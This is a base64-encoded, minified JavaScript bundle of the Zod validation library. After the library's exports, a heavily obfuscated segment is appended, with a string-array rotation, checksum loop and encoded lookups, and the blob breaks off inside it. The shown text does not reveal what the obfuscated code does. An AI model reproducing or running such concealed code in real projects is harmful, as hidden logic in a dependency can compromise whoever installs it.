QuaW52YWxpZF90eXBlfSksaWV9aWYoZmUodGhpcyxnZSwiZiIpfHxoZSh0aGlzLGdlLG5ldyBTZXQoSXQuZ2V0VmFsaWRFbnVtVmFsdWVzKHRoaXMuX2RlZi52YWx1ZXMpKSwiZiIpLCFmZSh0aGlzLGdlLCJmIikuaGFzKHQuZGF0YSkpe2NvbnN0IHQ9SXQub2JqZWN0VmFsdWVzKGUpO3JldHVybiBvZShuLHtyZWNlaXZlZDpuLmRhdGEsY29kZTpYdC5pbnZhbGlkX2VudW1fdmFsdWUsb3B0aW9uczp0fSksaWV9cmV0dXJuIHNlKHQuZGF0YSl9Z2V0IGVudW0oKXtyZXR1cm4gdGhpcy5fZGVmLnZhbHVlc319Z2U9bmV3IFdlYWtNYXAsbW4uY3JlYXRlPSh0LGUpPT5uZXcgbW4oe3ZhbHVlczp0LHR5cGVOYW1lOl9uLlpvZE5hdGl2ZUVudW0sLi4uQ2UoZSl9KTtjbGFzcyBwbiBleHRlbmRzIHhle3Vud3JhcCgpe3JldHVybiB0aGlzLl9kZWYudHlwZX1fcGFyc2UodCl7Y29uc3R7Y3R4OmV9PXRoaXMuX3Byb2Nlc3NJbnB1dFBhcmFtcyh0KTtpZihlLnBhcnNlZFR5cGUhPT1qdC5wcm9taXNlJiYhMT09PWUuY29tbW9uLmFzeW5jKXJldHVybiBvZShlLHtjb2RlOlh0LmludmFsaWRfdHlwZSxleHBlY3RlZDpqdC5wcm9taXNlLHJlY2VpdmVkOmUucGFyc2VkVHlwZX0pLGllO2NvbnN0IG49ZS5wYXJzZWRUeXBlPT09anQucHJvbWlzZT9lLmRhdGE6UHJvbWlzZS5yZXNvbHZlKGUuZGF0YSk7cmV0dXJuIHNlKG4udGhlbigodD0+dGhpcy5fZGVmLnR5cGUucGFyc2VBc3luYyh0LHtwYXRoOmUucGF0aCxlcnJvck1hcDplLmNvbW1vbi5jb250ZXh0dWFsRXJyb3JNYXB9KSkpKX19cG4uY3JlYXRlPSh0LGUpPT5uZXcgcG4oe3R5cGU6dCx0eXBlTmFtZTpfbi5ab2RQcm9taXNlLC4uLkNlKGUpfSk7Y2xhc3Mga24gZXh0ZW5kcyB4ZXtpbm5lclR5cGUoKXtyZXR1cm4gdGhpcy5fZGVmLnNjaGVtYX1zb3VyY2VUeXBlKCl7cmV0dXJuIHRoaXMuX2RlZi5zY2hlbWEuX2RlZi50eXBlTmFtZT09PV9uLlpvZEVmZmVjdHM/dGhpcy5fZGVmLnNjaGVtYS5zb3VyY2VUeXBlKCk6dGhpcy5fZGVmLnNjaGVtYX1fcGFyc2UodCl7Y29uc3R7c3RhdHVzOmUsY3R4Om59PXRoaXMuX3Byb2Nlc3NJbnB1dFBhcmFtcyh0KSxyPXRoaXMuX2RlZi5lZmZlY3R8fG51bGwsbz17YWRkSXNzdWU6dD0+e29lKG4sdCksdC5mYXRhbD9lLmFib3J0KCk6ZS5kaXJ0eSgpfSxnZXQgcGF0aCgpe3JldHVybiBuLnBhdGh9fTtpZihvLmFkZElzc3VlPW8uYWRkSXNzdWUuYmluZChvKSwicHJlcHJvY2VzcyI9PT1yLnR5cGUpe2NvbnN0IHQ9ci50cmFuc2Zvcm0obi5kYXRhLG8pO2lmKG4uY29tbW9uLmFzeW5jKXJldHVybiBQcm9taXNlLnJlc29sdmUodCkudGhlbigoYXN5bmMgdD0+e2lmKCJhYm9ydGVkIj09PWUudmFsdWUpcmV0dXJuIGllO2NvbnN0IHI9YXdhaXQgdGhpcy5fZGVmLnNjaGVtYS5fcGFyc2VBc3luYyh7ZGF0YTp0LHBhdGg6bi5wYXRoLHBhcmVudDpufSk7cmV0dXJuImFib3J0ZWQiPT09ci5zdGF0dXM/aWU6ImRpcnR5Ij09PXIuc3RhdHVzfHwiZGlydHkiPT09ZS52YWx1ZT9jZShyLnZhbHVlKTpyfSkpO3tpZigiYWJvcnRlZCI9PT1lLnZhbHVlKXJldHVybiBpZTtjb25zdCByPXRoaXMuX2RlZi5zY2hlbWEuX3BhcnNlU3luYyh7ZGF0YTp0LHBhdGg6bi5wYXRoLHBhcmVudDpufSk7cmV0dXJuImFib3J0ZWQiPT09ci5zdGF0dXM/aWU6ImRpcnR5Ij09PXIuc3RhdHVzfHwiZGlydHkiPT09ZS52YWx1ZT9jZShyLnZhbHVlKTpyfX1pZigicmVmaW5lbWVudCI9PT1yLnR5cGUpe2NvbnN0IHQ9dD0+e2NvbnN0IGU9ci5yZWZpbmVtZW50KHQsbyk7aWYobi5jb21tb24uYXN5bmMpcmV0dXJuIFByb21pc2UucmVzb2x2ZShlKTtpZihlIGluc3RhbmNlb2YgUHJvbWlzZSl0aHJvdyBuZXcgRXJyb3IoIkFzeW5jIHJlZmluZW1lbnQgZW5jb3VudGVyZWQgZHVyaW5nIHN5bmNocm9ub3VzIHBhcnNlIG9wZXJhdGlvbi4gVXNlIC5wYXJzZUFzeW5jIGluc3RlYWQuIik7cmV0dXJuIHR9O2lmKCExPT09bi5jb21tb24uYXN5bmMpe2NvbnN0IHI9dGhpcy5fZGVmLnNjaGVtYS5fcGFyc2VTeW5jKHtkYXRhOm4uZGF0YSxwYXRoOm4ucGF0aCxwYXJlbnQ6bn0pO3JldHVybiJhYm9ydGVkIj09PXIuc3RhdHVzP2llOigiZGlydHkiPT09ci5zdGF0dXMmJmUuZGlydHkoKSx0KHIudmFsdWUpLHtzdGF0dXM6ZS52YWx1ZSx2YWx1ZTpyLnZhbHVlfSl9cmV0dXJuIHRoaXMuX2RlZi5zY2hlbWEuX3BhcnNlQXN5bmMoe2RhdGE6bi5kYXRhLHBhdGg6bi5wYXRoLHBhcmVudDpufSkudGhlbigobj0+ImFib3J0ZWQiPT09bi5zdGF0dXM/aWU6KCJkaXJ0eSI9PT1uLnN0YXR1cyYmZS5kaXJ0eSgpLHQobi52YWx1ZSkudGhlbigoKCk9Pih7c3RhdHVzOmUudmFsdWUsdmFsdWU6bi52YWx1ZX0pKSkpKSl9aWYoInRyYW5zZm9ybSI9PT1yLnR5cGUpe2lmKCExPT09bi5jb21tb24uYXN5bmMpe2NvbnN0IHQ9dGhpcy5fZGVmLnNjaGVtYS5fcGFyc2VTeW5jKHtkYXRhOm4uZGF0YSxwYXRoOm4ucGF0aCxwYXJlbnQ6bn0pO2lmKCFsZSh0KSlyZXR1cm4gdDtjb25zdCBhPXIudHJhbnNmb3JtKHQudmFsdWUsbyk7aWYoYSBpbnN0YW5jZW9mIFByb21pc2UpdGhyb3cgbmV3IEVycm9yKCJBc3luY2hyb25vdXMgdHJhbnNmb3JtIGVuY291bnRlcmVkIGR1cmluZyBzeW5jaHJvbm91cyBwYXJzZSBvcGVyYXRpb24uIFVzZSAucGFyc2VBc3luYyBpbnN0ZWFkLiIpO3JldHVybntzdGF0dXM6ZS52YWx1ZSx2YWx1ZTphfX1yZXR1cm4gdGhpcy5fZGVmLnNjaGVtYS5fcGFyc2VBc3luYyh7ZGF0YTpuLmRhdGEscGF0aDpuLnBhdGgscGFyZW50Om59KS50aGVuKCh0PT5sZSh0KT9Qcm9taXNlLnJlc29sdmUoci50cmFuc2Zvcm0odC52YWx1ZSxvKSkudGhlbigodD0+KHtzdGF0dXM6ZS52YWx1ZSx2YWx1ZTp0fSkpKTp0KSl9SXQuYXNzZXJ0TmV2ZXIocil9fWtuLmNyZWF0ZT0odCxlLG4pPT5uZXcga24oe3NjaGVtYTp0LHR5cGVOYW1lOl9uLlpvZEVmZmVjdHMsZWZmZWN0OmUsLi4uQ2Uobil9KSxrbi5jcmVhdGVXaXRoUHJlcHJvY2Vzcz0odCxlLG4pPT5uZXcga24oe3NjaGVtYTplLGVmZmVjdDp7dHlwZToicHJlcHJvY2VzcyIsdHJhbnNmb3JtOnR9LHR5cGVOYW1lOl9uLlpvZEVmZmVjdHMsLi4uQ2Uobil9KTtjbGFzcyBnbiBleHRlbmRzIHhle19wYXJzZSh0KXtyZXR1cm4gdGhpcy5fZ2V0VHlwZSh0KT09PWp0LnVuZGVmaW5lZD9zZSh2b2lkIDApOnRoaXMuX2RlZi5pbm5lclR5cGUuX3BhcnNlKHQpfXVud3JhcCgpe3JldHVybiB0aGlzLl9kZWYuaW5uZXJUeXBlfX1nbi5jcmVhdGU9KHQsZSk9Pm5ldyBnbih7aW5uZXJUeXBlOnQsdHlwZU5hbWU6X24uWm9kT3B0aW9uYWwsLi4uQ2UoZSl9KTtjbGFzcyB2biBleHRlbmRzIHhle19wYXJzZSh0KXtyZXR1cm4gdGhpcy5fZ2V0VHlwZSh0KT09PWp0Lm51bGw/c2UobnVsbCk6dGhpcy5fZGVmLmlubmVyVHlwZS5fcGFyc2UodCl9dW53cmFwKCl7cmV0dXJuIHRoaXMuX2RlZi5pbm5lclR5cGV9fXZuLmNyZWF0ZT0odCxlKT0+bmV3IHZuKHtpbm5lclR5cGU6dCx0eXBlTmFtZTpfbi5ab2ROdWxsYWJsZSwuLi5DZShlKX0pO2NsYXNzIHluIGV4dGVuZHMgeGV7X3BhcnNlKHQpe2NvbnN0e2N0eDplfT10aGlzLl9wcm9jZXNzSW5wdXRQYXJhbXModCk7bGV0IG49ZS5kYXRhO3JldHVybiBlLnBhcnNlZFR5cGU9PT1qdC51bmRlZmluZWQmJihuPXRoaXMuX2RlZi5kZWZhdWx0VmFsdWUoKSksdGhpcy5fZGVmLmlubmVyVHlwZS5fcGFyc2Uoe2RhdGE6bixwYXRoOmUucGF0aCxwYXJlbnQ6ZX0pfXJlbW92ZURlZmF1bHQoKXtyZXR1cm4gdGhpcy5fZGVmLmlubmVyVHlwZX19eW4uY3JlYXRlPSh0LGUpPT5uZXcgeW4oe2lubmVyVHlwZTp0LHR5cGVOYW1lOl9uLlpvZERlZmF1bHQsZGVmYXVsdFZhbHVlOiJmdW5jdGlvbiI9PXR5cGVvZiBlLmRlZmF1bHQ/ZS5kZWZhdWx0OigpPT5lLmRlZmF1bHQsLi4uQ2UoZSl9KTtjbGFzcyBDbiBleHRlbmRzIHhle19wYXJzZSh0KXtjb25zdHtjdHg6ZX09dGhpcy5fcHJvY2Vzc0lucHV0UGFyYW1zKHQpLG49ey4uLmUsY29tbW9uOnsuLi5lLmNvbW1vbixpc3N1ZXM6W119fSxyPXRoaXMuX2RlZi5pbm5lclR5cGUuX3BhcnNlKHtkYXRhOm4uZGF0YSxwYXRoOm4ucGF0aCxwYXJlbnQ6ey4uLm59fSk7cmV0dXJuIFdlKHIpP3IudGhlbigodD0+KHtzdGF0dXM6InZhbGlkIix2YWx1ZToidmFsaWQiPT09dC5zdGF0dXM/dC52YWx1ZTp0aGlzLl9kZWYuY2F0Y2hWYWx1ZSh7Z2V0IGVycm9yKCl7cmV0dXJuIG5ldyBZdChuLmNvbW1vbi5pc3N1ZXMpfSxpbnB1dDpuLmRhdGF9KX0pKSk6e3N0YXR1czoidmFsaWQiLHZhbHVlOiJ2YWxpZCI9PT1yLnN0YXR1cz9yLnZhbHVlOnRoaXMuX2RlZi5jYXRjaFZhbHVlKHtnZXQgZXJyb3IoKXtyZXR1cm4gbmV3IFl0KG4uY29tbW9uLmlzc3Vlcyl9LGlucHV0Om4uZGF0YX0pfX1yZW1vdmVDYXRjaCgpe3JldHVybiB0aGlzLl9kZWYuaW5uZXJUeXBlfX1Dbi5jcmVhdGU9KHQsZSk9Pm5ldyBDbih7aW5uZXJUeXBlOnQsdHlwZU5hbWU6X24uWm9kQ2F0Y2gsY2F0Y2hWYWx1ZToiZnVuY3Rpb24iPT10eXBlb2YgZS5jYXRjaD9lLmNhdGNoOigpPT5lLmNhdGNoLC4uLkNlKGUpfSk7Y2xhc3MgeG4gZXh0ZW5kcyB4ZXtfcGFyc2UodCl7aWYodGhpcy5fZ2V0VHlwZSh0KSE9PWp0Lm5hbil7Y29uc3QgZT10aGlzLl9nZXRPclJldHVybkN0eCh0KTtyZXR1cm4gb2UoZSx7Y29kZTpYdC5pbnZhbGlkX3R5cGUsZXhwZWN0ZWQ6anQubmFuLHJlY2VpdmVkOmUucGFyc2VkVHlwZX0pLGllfXJldHVybntzdGF0dXM6InZhbGlkIix2YWx1ZTp0LmRhdGF9fX14bi5jcmVhdGU9dD0+bmV3IHhuKHt0eXBlTmFtZTpfbi5ab2ROYU4sLi4uQ2UodCl9KTtjb25zdCBTbj1TeW1ib2woInpvZF9icmFuZCIpO2NsYXNzIGJuIGV4dGVuZHMgeGV7X3BhcnNlKHQpe2NvbnN0e2N0eDplfT10aGlzLl9wcm9jZXNzSW5wdXRQYXJhbXModCksbj1lLmRhdGE7cmV0dXJuIHRoaXMuX2RlZi50eXBlLl9wYXJzZSh7ZGF0YTpuLHBhdGg6ZS5wYXRoLHBhcmVudDplfSl9dW53cmFwKCl7cmV0dXJuIHRoaXMuX2RlZi50eXBlfX1jbGFzcyB3biBleHRlbmRzIHhle19wYXJzZSh0KXtjb25zdHtzdGF0dXM6ZSxjdHg6bn09dGhpcy5fcHJvY2Vzc0lucHV0UGFyYW1zKHQpO2lmKG4uY29tbW9uLmFzeW5jKXtyZXR1cm4oYXN5bmMoKT0+e2NvbnN0IHQ9YXdhaXQgdGhpcy5fZGVmLmluLl9wYXJzZUFzeW5jKHtkYXRhOm4uZGF0YSxwYXRoOm4ucGF0aCxwYXJlbnQ6bn0pO3JldHVybiJhYm9ydGVkIj09PXQuc3RhdHVzP2llOiJkaXJ0eSI9PT10LnN0YXR1cz8oZS5kaXJ0eSgpLGNlKHQudmFsdWUpKTp0aGlzLl9kZWYub3V0Ll9wYXJzZUFzeW5jKHtkYXRhOnQudmFsdWUscGF0aDpuLnBhdGgscGFyZW50Om59KX0pKCl9e2NvbnN0IHQ9dGhpcy5fZGVmLmluLl9wYXJzZVN5bmMoe2RhdGE6bi5kYXRhLHBhdGg6bi5wYXRoLHBhcmVudDpufSk7cmV0dXJuImFib3J0ZWQiPT09dC5zdGF0dXM/aWU6ImRpcnR5Ij09PXQuc3RhdHVzPyhlLmRpcnR5KCkse3N0YXR1czoiZGlydHkiLHZhbHVlOnQudmFsdWV9KTp0aGlzLl9kZWYub3V0Ll9wYXJzZVN5bmMoe2RhdGE6dC52YWx1ZSxwYXRoOm4ucGF0aCxwYXJlbnQ6bn0pfX1zdGF0aWMgY3JlYXRlKHQsZSl7cmV0dXJuIG5ldyB3bih7aW46dCxvdXQ6ZSx0eXBlTmFtZTpfbi5ab2RQaXBlbGluZX0pfX1jbGFzcyBPbiBleHRlbmRzIHhle19wYXJzZSh0KXtjb25zdCBlPXRoaXMuX2RlZi5pbm5lclR5cGUuX3BhcnNlKHQpLG49dD0+KGxlKHQpJiYodC52YWx1ZT1PYmplY3QuZnJlZXplKHQudmFsdWUpKSx0KTtyZXR1cm4gV2UoZSk/ZS50aGVuKCh0PT5uKHQpKSk6bihlKX11bndyYXAoKXtyZXR1cm4gdGhpcy5fZGVmLmlubmVyVHlwZX19ZnVuY3Rpb24gUm4odCxlPXt9LG4pe3JldHVybiB0P0llLmNyZWF0ZSgpLnN1cGVyUmVmaW5lKCgocixvKT0+e3ZhciBhLGk7aWYoIXQocikpe2NvbnN0IHQ9ImZ1bmN0aW9uIj09dHlwZW9mIGU/ZShyKToic3RyaW5nIj09dHlwZW9mIGU/e21lc3NhZ2U6ZX06ZSxjPW51bGw9PT0oaT1udWxsIT09KGE9dC5mYXRhbCkmJnZvaWQgMCE9PWE/YTpuKXx8dm9pZCAwPT09aXx8aSxzPSJzdHJpbmciPT10eXBlb2YgdD97bWVzc2FnZTp0fTp0O28uYWRkSXNzdWUoe2NvZGU6ImN1c3RvbSIsLi4ucyxmYXRhbDpjfSl9fSkpOkllLmNyZWF0ZSgpfU9uLmNyZWF0ZT0odCxlKT0+bmV3IE9uKHtpbm5lclR5cGU6dCx0eXBlTmFtZTpfbi5ab2RSZWFkb25seSwuLi5DZShlKX0pO2NvbnN0IFBuPXtvYmplY3Q6WWUubGF6eWNyZWF0ZX07dmFyIF9uLE5uOyhObj1fbnx8KF9uPXt9KSkuWm9kU3RyaW5nPSJab2RTdHJpbmciLE5uLlpvZE51bWJlcj0iWm9kTnVtYmVyIixObi5ab2ROYU49IlpvZE5hTiIsTm4uWm9kQmlnSW50PSJab2RCaWdJbnQiLE5uLlpvZEJvb2xlYW49IlpvZEJvb2xlYW4iLE5uLlpvZERhdGU9IlpvZERhdGUiLE5uLlpvZFN5bWJvbD0iWm9kU3ltYm9sIixObi5ab2RVbmRlZmluZWQ9IlpvZFVuZGVmaW5lZCIsTm4uWm9kTnVsbD0iWm9kTnVsbCIsTm4uWm9kQW55PSJab2RBbnkiLE5uLlpvZFVua25vd249IlpvZFVua25vd24iLE5uLlpvZE5ldmVyPSJab2ROZXZlciIsTm4uWm9kVm9pZD0iWm9kVm9pZCIsTm4uWm9kQXJyYXk9IlpvZEFycmF5IixObi5ab2RPYmplY3Q9IlpvZE9iamVjdCIsTm4uWm9kVW5pb249IlpvZFVuaW9uIixObi5ab2REaXNjcmltaW5hdGVkVW5pb249IlpvZERpc2NyaW1pbmF0ZWRVbmlvbiIsTm4uWm9kSW50ZXJzZWN0aW9uPSJab2RJbnRlcnNlY3Rpb24iLE5uLlpvZFR1cGxlPSJab2RUdXBsZSIsTm4uWm9kUmVjb3JkPSJab2RSZWNvcmQiLE5uLlpvZE1hcD0iWm9kTWFwIixObi5ab2RTZXQ9IlpvZFNldCIsTm4uWm9kRnVuY3Rpb249IlpvZEZ1bmN0aW9uIixObi5ab2RMYXp5PSJab2RMYXp5IixObi5ab2RMaXRlcmFsPSJab2RMaXRlcmFsIixObi5ab2RFbnVtPSJab2RFbnVtIixObi5ab2RFZmZlY3RzPSJab2RFZmZlY3RzIixObi5ab2ROYXRpdmVFbnVtPSJab2ROYXRpdmVFbnVtIixObi5ab2RPcHRpb25hbD0iWm9kT3B0aW9uYWwiLE5uLlpvZE51bGxhYmxlPSJab2ROdWxsYWJsZSIsTm4uWm9kRGVmYXVsdD0iWm9kRGVmYXVsdCIsTm4uWm9kQ2F0Y2g9IlpvZENhdGNoIixObi5ab2RQcm9taXNlPSJab2RQcm9taXNlIixObi5ab2RCcmFuZGVkPSJab2RCcmFuZGVkIixObi5ab2RQaXBlbGluZT0iWm9kUGlwZWxpbmUiLE5uLlpvZFJlYWRvbmx5PSJab2RSZWFkb25seSI7Y29uc3QgTW49WmUuY3JlYXRlLEduPVFlLmNyZWF0ZSxFbj14bi5jcmVhdGUsQm49SmUuY3JlYXRlLFRuPUhlLmNyZWF0ZSxxbj1EZS5jcmVhdGUsQW49S2UuY3JlYXRlLFpuPUZlLmNyZWF0ZSxMbj0kZS5jcmVhdGUsUW49SWUuY3JlYXRlLEpuPVZlLmNyZWF0ZSxIbj16ZS5jcmVhdGUsRG49amUuY3JlYXRlLEtuPVVlLmNyZWF0ZSxGbj1ZZS5jcmVhdGUsJG49WWUuc3RyaWN0Q3JlYXRlLEluPXRuLmNyZWF0ZSxWbj1ubi5jcmVhdGUsem49b24uY3JlYXRlLGpuPWFuLmNyZWF0ZSxVbj1jbi5jcmVhdGUsWG49c24uY3JlYXRlLFluPWRuLmNyZWF0ZSx0cj11bi5jcmVhdGUsZXI9bG4uY3JlYXRlLG5yPVduLmNyZWF0ZSxycj1obi5jcmVhdGUsb3I9bW4uY3JlYXRlLGFyPXBuLmNyZWF0ZSxpcj1rbi5jcmVhdGUsY3I9Z24uY3JlYXRlLHNyPXZuLmNyZWF0ZSxkcj1rbi5jcmVhdGVXaXRoUHJlcHJvY2Vzcyx1cj13bi5jcmVhdGUsbHI9e3N0cmluZzp0PT5aZS5jcmVhdGUoey4uLnQsY29lcmNlOiEwfSksbnVtYmVyOnQ9PlFlLmNyZWF0ZSh7Li4udCxjb2VyY2U6ITB9KSxib29sZWFuOnQ9PkhlLmNyZWF0ZSh7Li4udCxjb2VyY2U6ITB9KSxiaWdpbnQ6dD0+SmUuY3JlYXRlKHsuLi50LGNvZXJjZTohMH0pLGRhdGU6dD0+RGUuY3JlYXRlKHsuLi50LGNvZXJjZTohMH0pfSxXcj1pZTt2YXIgZnI9T2JqZWN0LmZyZWV6ZSh7X19wcm90b19fOm51bGwsZGVmYXVsdEVycm9yTWFwOnRlLHNldEVycm9yTWFwOmZ1bmN0aW9uKHQpe2VlPXR9LGdldEVycm9yTWFwOm5lLG1ha2VJc3N1ZTpyZSxFTVBUWV9QQVRIOltdLGFkZElzc3VlVG9Db250ZXh0Om9lLFBhcnNlU3RhdHVzOmFlLElOVkFMSUQ6aWUsRElSVFk6Y2UsT0s6c2UsaXNBYm9ydGVkOmRlLGlzRGlydHk6dWUsaXNWYWxpZDpsZSxpc0FzeW5jOldlLGdldCB1dGlsKCl7cmV0dXJuIEl0fSxnZXQgb2JqZWN0VXRpbCgpe3JldHVybiB6dH0sWm9kUGFyc2VkVHlwZTpqdCxnZXRQYXJzZWRUeXBlOlV0LFpvZFR5cGU6eGUsZGF0ZXRpbWVSZWdleDpBZSxab2RTdHJpbmc6WmUsWm9kTnVtYmVyOlFlLFpvZEJpZ0ludDpKZSxab2RCb29sZWFuOkhlLFpvZERhdGU6RGUsWm9kU3ltYm9sOktlLFpvZFVuZGVmaW5lZDpGZSxab2ROdWxsOiRlLFpvZEFueTpJZSxab2RVbmtub3duOlZlLFpvZE5ldmVyOnplLFpvZFZvaWQ6amUsWm9kQXJyYXk6VWUsWm9kT2JqZWN0OlllLFpvZFVuaW9uOnRuLFpvZERpc2NyaW1pbmF0ZWRVbmlvbjpubixab2RJbnRlcnNlY3Rpb246b24sWm9kVHVwbGU6YW4sWm9kUmVjb3JkOmNuLFpvZE1hcDpzbixab2RTZXQ6ZG4sWm9kRnVuY3Rpb246dW4sWm9kTGF6eTpsbixab2RMaXRlcmFsOlduLFpvZEVudW06aG4sWm9kTmF0aXZlRW51bTptbixab2RQcm9taXNlOnBuLFpvZEVmZmVjdHM6a24sWm9kVHJhbnNmb3JtZXI6a24sWm9kT3B0aW9uYWw6Z24sWm9kTnVsbGFibGU6dm4sWm9kRGVmYXVsdDp5bixab2RDYXRjaDpDbixab2ROYU46eG4sQlJBTkQ6U24sWm9kQnJhbmRlZDpibixab2RQaXBlbGluZTp3bixab2RSZWFkb25seTpPbixjdXN0b206Um4sU2NoZW1hOnhlLFpvZFNjaGVtYTp4ZSxsYXRlOlBuLGdldCBab2RGaXJzdFBhcnR5VHlwZUtpbmQoKXtyZXR1cm4gX259LGNvZXJjZTpscixhbnk6UW4sYXJyYXk6S24sYmlnaW50OkJuLGJvb2xlYW46VG4sZGF0ZTpxbixkaXNjcmltaW5hdGVkVW5pb246Vm4sZWZmZWN0OmlyLGVudW06cnIsZnVuY3Rpb246dHIsaW5zdGFuY2VvZjoodCxlPXttZXNzYWdlOmBJbnB1dCBub3QgaW5zdGFuY2Ugb2YgJHt0Lm5hbWV9YH0pPT5SbigoZT0+ZSBpbnN0YW5jZW9mIHQpLGUpLGludGVyc2VjdGlvbjp6bixsYXp5OmVyLGxpdGVyYWw6bnIsbWFwOlhuLG5hbjpFbixuYXRpdmVFbnVtOm9yLG5ldmVyOkhuLG51bGw6TG4sbnVsbGFibGU6c3IsbnVtYmVyOkduLG9iamVjdDpGbixvYm9vbGVhbjooKT0+VG4oKS5vcHRpb25hbCgpLG9udW1iZXI6KCk9PkduKCkub3B0aW9uYWwoKSxvcHRpb25hbDpjcixvc3RyaW5nOigpPT5NbigpLm9wdGlvbmFsKCkscGlwZWxpbmU6dXIscHJlcHJvY2Vzczpkcixwcm9taXNlOmFyLHJlY29yZDpVbixzZXQ6WW4sc3RyaWN0T2JqZWN0OiRuLHN0cmluZzpNbixzeW1ib2w6QW4sdHJhbnNmb3JtZXI6aXIsdHVwbGU6am4sdW5kZWZpbmVkOlpuLHVuaW9uOkluLHVua25vd246Sm4sdm9pZDpEbixORVZFUjpXcixab2RJc3N1ZUNvZGU6WHQscXVvdGVsZXNzSnNvbjp0PT5KU09OLnN0cmluZ2lmeSh0LG51bGwsMikucmVwbGFjZSgvIihbXiJdKykiOi9nLCIkMToiKSxab2RFcnJvcjpZdH0pO2Z1bmN0aW9uIGhyKHQsZSxuLHIsbyl7cmV0dXJuIGdyKG8tIC0yNzksdCl9ZnVuY3Rpb24gbXIodCxlLG4scixvKXtyZXR1cm4gZ3Ioby0gLTc3LHIpfSFmdW5jdGlvbih0LGUpe2NvbnN0IG49YnIoKTtmdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIGdyKHQtIC05OTMsbyl9ZnVuY3Rpb24gbyh0LGUsbixyLG8pe3JldHVybiBncihyLTQwMSxuKX1mdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIGdyKGUtIC04MDUsdCl9Zm9yKDs7KXRyeXtpZig2NDU4OTM9PT1wYXJzZUludChyKC01MTgsMCwwLDAsIm1PKUkiKSkvMSoocGFyc2VJbnQobygwLDAsIks1WiEiLDE0MzApKS8yKStwYXJzZUludChvKDAsMCwiTVZQZCIsMTI3NikpLzMrcGFyc2VJbnQoZ3IoOTktIC03OTcsIlJQM1oiKSkvNCstcGFyc2VJbnQoYSgibmdQSyIsLTI1NykpLzUqKHBhcnNlSW50KHIoLTU0NSwwLDAsMCwiQW0mSCIpKS82KSstcGFyc2VJbnQoKGk9MzYzLGM9InlnN2QiLGdyKGktIC00MDgsYykpKS83Ky1wYXJzZUludChhKCIlVlo1IiwxNTQpKS84KihwYXJzZUludChhKCJlJVJSIiwtMzA2KSkvOSkrcGFyc2VJbnQobygwLDAsIlJQM1oiLDEwODEpKS8xMCoocGFyc2VJbnQocigtOTYsMCwwLDAsIk92JlUiKSkvMTEpKWJyZWFrO24ucHVzaChuLnNoaWZ0KCkpfWNhdGNoKHMpe24ucHVzaChuLnNoaWZ0KCkpfXZhciBpLGN9KCk7Y29uc3QgcHI9ZnVuY3Rpb24oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIGdyKGUtIC0xMzAsbil9Y29uc3QgZT17Ymp2QVY6aSgtMTkwLC0yNTcsLTgwLCJmQSh4IikrdCgwLDU4MCwiUlAzWiIpK2koLTEyOCwtMzA1LC0xMzMsIjZUb14iKSsiKSIsc2V3c0Y6bygzNzcsMjU2LDMyMywiZSVSUiIpKyhuPSIkcnpXIixyPTEzODAsZ3Ioci04ODcsbikpK2MoMTY1NiwxMzkwLDE2NjEsMTU5NiwiU0RuVCIpK2MoMTYwOCwxMjY4LDEzNDcsMTMxMSwiUlAzWiIpK2MoMTI5NCwxMjgyLDE1MjAsMTUwNSwiOUtxdSIpK3QoMCw2OTAsImZBKHgiKStvKDUxOSw3MzEsNjI3LCJ1XVFuIiksdkxLZHY6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sTndscEk6dCgwLDU2NiwicGNRJSIpLFBmbVZTOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQrZX0sZWtIR1U6bygyMzAsMjYwLDM2OCwiRXUoUCIpLG10UGhwOm8oNTc2LDU3MSw2ODYsIjZUb14iKSxCWnhvYzpmdW5jdGlvbih0KXtyZXR1cm4gdCgpfSxSSU1uSTpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSxtTndqejpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sZGRBT0Y6YygxODQwLDE1MzYsMTU1MCwxNzU2LCJeSGQjIiksbmdxYmI6aSgtMjI2LC0zOTcsLTM1MywiTUppJCIpLFdaRnZQOnQoMCw3NjQsIlJQM1oiKSxKRkpIbjpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sVElreG86aSgyNDEsMzMsLTExNiwiTUppJCIpLHpWWWVWOm8oMzMsMTg3LDQ0OCwiMUFedCIpfTt2YXIgbixyO2Z1bmN0aW9uIG8odCxlLG4scixvKXtyZXR1cm4gZ3IoZS0gLTMzMCxyKX1sZXQgYT0hMDtmdW5jdGlvbiBpKHQsZSxuLHIsbyl7cmV0dXJuIGdyKGUtIC05NDkscil9ZnVuY3Rpb24gYyh0LGUsbixyLG8pe3JldHVybiBncihuLTc5MCxvKX1yZXR1cm4gZnVuY3Rpb24obixyKXtmdW5jdGlvbiBjKHQsZSxuLHIsYSl7cmV0dXJuIG8oMCxhLTEyOTksMCxyKX1mdW5jdGlvbiBzKHQsZSxuLHIsbyl7cmV0dXJuIGkoMCxlLTEwMjgsMCxvKX1jb25zdCBkPXtxSGl6QjplW2MoMCwwLDAsInBjUSUiLDE5NzMpXSxBSGNDYzplW2MoMCwwLDAsIl5IZCMiLDE1NDEpXSxoZ3F4SzpmdW5jdGlvbih0LG4pe3JldHVybiBlWyhyPTE4NDUsbz0iTUppJCIsYygwLDAsMCxvLHItIC01NCkpXSh0LG4pO3ZhciByLG99LERyTE5mOmVbYygwLDAsMCwiSDRtZCIsMTgyMyldLFJXY0FsOmZ1bmN0aW9uKHQsbil7cmV0dXJuIGVbKHI9ImUlUlIiLG89NjYzLGE9OTQwLGk9OTE1LFcocixvLTMzOSxhLTExNSxpLTEzLGEtOTYyKSldKHQsbik7dmFyIHIsbyxhLGl9LGNYVmN3OmVbdSgxNzMsIlRDU3ciKV0scXN4dFQ6ZnVuY3Rpb24odCxuKXtyZXR1cm4gZVsocj0ieWc3ZCIsbz00NjgsdShvLTI3MCxyKSldKHQsbik7dmFyIHIsb30sQUF6clY6ZVt1KDUwNCwiaFVAQyIpXSxoaFVOazpmdW5jdGlvbih0KXtyZXR1cm4gZVsobj0iaFVAQyIscj0yNjgsbz0xNyxXKG4sbi0xNzYsci00NDgsby00NzAsci0gLTYpKV0odCk7dmFyIG4scixvfSxveEtjazpmdW5jdGlvbih0LG4pe3JldHVybiBlWyhyPSIkcnpXIixvPTE1NzAscygwLG8tNjAyLDAsMCxyKSldKHQsbik7dmFyIHIsb30sblR4UlA6ZnVuY3Rp